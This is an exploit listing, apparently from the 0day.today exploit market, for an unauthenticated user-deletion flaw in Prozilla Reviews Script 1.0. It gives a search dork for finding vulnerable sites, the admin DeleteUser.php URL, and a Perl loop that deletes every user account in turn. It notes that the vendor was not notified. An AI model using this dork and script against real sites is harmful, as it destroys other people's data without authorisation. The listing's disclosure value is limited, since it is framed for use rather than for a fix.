[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Prozilla Reviews Script 1.0 Arbitrary Delete User Vulnerability

Author
t0pP8uZz
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2833
Category
web applications
Date add
05-04-2008
Platform
unsorted
===============================================================
Prozilla Reviews Script 1.0 Arbitrary Delete User Vulnerability
===============================================================



--==+================================================================================+==--
--==+          Prozilla Reviews Script 1.0 Arbitrary Delete User Vulnerability	     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.net
DORK: inurl:"view.php?ItemID=" rating "rate this review"

Vendor Has Not Been Notified!



DESCRIPTION:
Prozilla Reviews script suffers from bad session handling, and some crutial parts of the admin area
are not checked to see if the user is a admin or not.
the below url will delete a user from the database. 



Vulnerability:
http://site.com/siteadmin/DeleteUser.php?UserID=[uid]



NOTE/TIP:
replace [uid] with a actualy user id.

you can also code a little script to delete all users, example below.

#!/usr/bin/perl

use LWP::Simple;
$i=1;
while(1) {
	$c=get("http://site.com/siteadmin/DeleteUser.php?UserID=".$i);
	$i++;
}
#end



#  0day.today [2024-12-25]  #